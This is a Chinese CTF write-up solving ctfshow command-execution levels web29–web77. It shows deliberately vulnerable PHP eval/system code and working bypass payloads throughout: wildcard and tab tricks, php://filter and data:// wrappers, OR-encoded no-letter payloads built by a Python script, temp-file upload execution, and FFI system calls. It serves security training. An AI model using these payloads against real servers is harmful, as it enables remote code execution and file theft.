ctfshow-命令执行

大佬文章

u r l \rm url url 编码

L i n u x \rm Linux Linux 下空格绕过

无参数 r c e \rm rce rce

无字母 r c e \rm rce rce

无字母参数 r c e ( w e b 55 ) \rm rce(web55) rce(web55)

o p e n b a s e _ d i r \rm openbase\_dir openbase_dir 绕过

web29

  • 通配符:
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

*:匹配任意多个字符

?:匹配任意一个字符

[]:匹配某个范围的字符( [ a d ] [ad] [ad] 表示 a − d a-d ad 的字符)

{a,b}:匹配 a a a 或者 b b b

web30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

  • echo `cat flag`:表示先运行 cat flag,然后再把结果输出

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

  1. %09(tab) 绕过空格

  2. 命令拼接:c=eval($_POST[a]);,然后 POST 传入一个变量 a 即可

  3. 无参数 r c e \rm rce rce

web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

  • 过滤分号,用 ?> 代替

  • 过滤括号,使用 include 函数,其不需要括号传参(例如 include a.php)

因此 ?c=include%09$_POST[a]?> ,之后 post 传入一个文件即可

文件会被注释掉(显示不出来),所以考虑伪协议读文件

a=php://filter/read=convert.base64-encode/resource=flag.php

web37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
}

  • 使用 php://input 协议,之后 post 传入需要的 php 代码即可

web38

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
}

  • data 伪协议读文件

    c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== ( b a s e 64 \rm base64 base64system("cat flag");)

web40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

  • 无参数命令执行

    getallheaders()http 头中的信息放到一个数组里面

    修改http 头中的某些不重要的内容为 system("cat flag"),使用语句 eval(array_rand(array_flip(getallheaders())));,多刷新几次即可做到无参数命令执行

web41

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>
  • 无数字字母 r c e \rm rce rce

    一般实现方法是自增,取反,异或,或

    这题用的是或运算

    # coding=gbk
    import re
    import requests
    use = []
    def get_and(aim, use):
        ans1 = ""
        ans2 = ""
        for i in range(len(aim)):
            ok = False
            for j in range(len(use)):
                for k in range(j,len(use)):
                    if (ord(use[j]) | ord(use[k])) == ord(aim[i]):
                        ans1 = ans1 + use[j]
                        ans2 = ans2 + use[k]
                        ok = True
                    if ok: break
                if ok: break            
        ans = ""
        for i in range(len(ans1)): ans += chr(ord(ans1[i]) | ord(ans2[i]))    
        print(ans)
        return "(\""+ans1+"\"|\""+ans2+"\")"
    
    if __name__ == '__main__':
        match_str = "/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-"
        url = "http://e5280b73-c2cb-4f3f-9309-68319256efdf.challenge.ctf.show/"
        for i in range(256):
            c = chr(i)
            tmp = re.match(match_str, c, re.I)
            if tmp == None:
                use.append(c)
        func = "system"
        argu = "cat flag.php"
        data = {"c":get_and(func,use)+get_and(argu,use)}
        print(data)
        r = requests.post(url = url, data = data)
        #r = requests.get(url = url, params = data)
        print(r.text)
    

web42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

system($c." >/dev/null 2>&1"); 黑洞代码

  1. cat flag && ls:只会让后面的查询没有

  2. ls ##shell 脚本的注释

  3. %0a:换行

web46

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

  • flag 被过滤,可以换成 f''lag

web54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤的正则表达式长这个鬼样子 |.*c.*a.*t.*|...(意思是输入字符串不能出现 cat 的子序列)

  • cat 一般存放在 /bin/cat,这样可以用 /bin/?at 代替 cat

    bin B i n a r i e s \rm Binaries Binaries (二进制文件) 的缩写, 这个目录存放着最经常使用的命令

web55

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

eval — Evaluate a string as PHP code

system — Execute an external program and display the output

因此只有遇到 eval 函数时候才能使用异或等包含计算的 r c e \rm rce rce,这道题考虑其他方法

  1. /bin/base64 flag.php 将这句话的字母全部换成 ? 即可

  2. /usr/bin/bzip2 flag.php,之后访问 flag.php.bz2 即可下载文件

  3. 首先知道 . 相当于 bash. file 命令是可以执行一个文件的

    可以发送一个文件上传的 post 包,此时我们上传的文件会被保存在临时目录下,默认文件名是 /tmp/PHPxxxxxx(六位随机大小写字符)

    传入的参数 c 可以是 . /???/????????[@-[],其中 [@-[] 代替的是 a s c i i \rm ascii ascii 码在 @[ 区间的字符,也就是所有大写字母

    最后多刷新几次,刷新到临时文件名最后一位是大写即可

    文件上传的 html

    <!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="gbk">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
    </head>
    <body>
    <form action="http://454993e9-48c8-4d4b-a7e0-8027997d4fd4.challenge.ctf.show/?c=.%20/???/?????????[@-[]" method="post" enctype="multipart/form-data">
    <!--链接是当前打开的题目链接-->
        <label for="file">文件名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="提交">
    </form>
    </body>
    </html>
    

web57

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

l i n u x \rm linux linux 中各种运算符的作用

  • $((a+b)) 会返回 a+b 的值

    $(( ~$(()) )) − 1 \rm -1 1 (对 0 \rm 0 0 取反)

    因此可以构造出来 − 37 \rm -37 37,之后对其取反就是 36 \rm 36 36

web71

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
  • exit(0) 来绕过后面对缓冲区的替代输出

    先传入 c=var_export(scandir("/"));exit(0); 扫描根目录,之后直接 c=include("/flag.txt");exit(0);

web72

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
  • 设置了 open_basedir

    open_basedir:可将用户访问文件的活动范围限制在指定的区域

    open_basedir的绕过

    之后使用的脚本原理不太懂

web75

  • 使用数据库的PDO形式来读取

    try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
    foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo($row[0])."|";
    }
    $dbh = null;
    } catch (PDOException $e) {
    echo $e->getMessage();
    die();
    }   
    

web77

  • 根目录有文件 readflag

    FFI:利用外部接口使用 c 语言的函数

    考虑调用 c 语言的 system 函数运行 readflag 文件

      $ffi = FFI::cdef("int system(const char *command);");
      $a='/readflag > /var/www/html/1.txt';
      $ffi->system($a);exit();
    
  • 18
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值